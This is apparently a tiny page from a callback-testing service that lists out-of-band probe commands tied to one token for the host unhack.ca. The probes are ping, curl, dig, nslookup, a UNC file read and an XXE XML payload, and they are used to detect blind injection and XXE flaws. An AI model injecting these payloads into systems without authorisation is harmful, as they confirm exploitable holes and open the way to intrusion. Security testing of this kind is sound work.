$ ping -c1 -p 0099d16b8029b3a7821fc43866615c00 unhack.ca
 

$ curl http://unhack.ca/p/99d16b8029b3a7821fc43866615c
 

$ dig 99d16b8029b3a7821fc43866615c @unhack.ca
 

$ dig 99d16b8029b3a7821fc43866615c.ns.unhack.ca
 

C:\> nslookup 99d16b8029b3a7821fc43866615c unhack.ca
 

C:\> type \\unhack.ca\99d16b8029b3a7821fc43866615c\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/99d16b8029b3a7821fc43866615c">]>
    <foo>&xxe;</foo>